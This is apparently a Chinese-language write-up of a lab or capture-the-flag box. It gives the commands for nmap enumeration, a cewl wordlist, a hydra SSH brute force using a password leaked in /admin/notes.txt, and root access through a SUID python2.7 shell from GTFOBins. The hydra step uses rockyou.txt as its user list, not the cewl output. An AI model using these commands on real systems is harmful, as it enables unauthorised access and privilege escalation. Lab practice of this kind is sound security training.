kali：192.168.111.111

靶机：192.168.111.130

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.130

根据nmap的脚本http-enum收集到的信息，80端口的admin目录存放有notes.txt文件，根据文件内容得到密码：12345ted123

使用cewl收集目标web信息

cewl http://192.168.111.130/admin -w user.txt

利用收集到的信息配合之前的得到的密码爆破ssh，得到用户：ted，密码：12345ted123

hydra -L /usr/share/wordlists/rockyou.txt -p 12345ted123 192.168.111.130 -s 22 ssh -t 64

提权

查找suid权限的文件

find / -perm -u=s -exec ls -al {} \; 2> /dev/null

提权方法：https://gtfobins.github.io/gtfobins/python/#suid

/usr/bin/python2.7 -c 'import os;os.system("/bin/bash -p")'

flag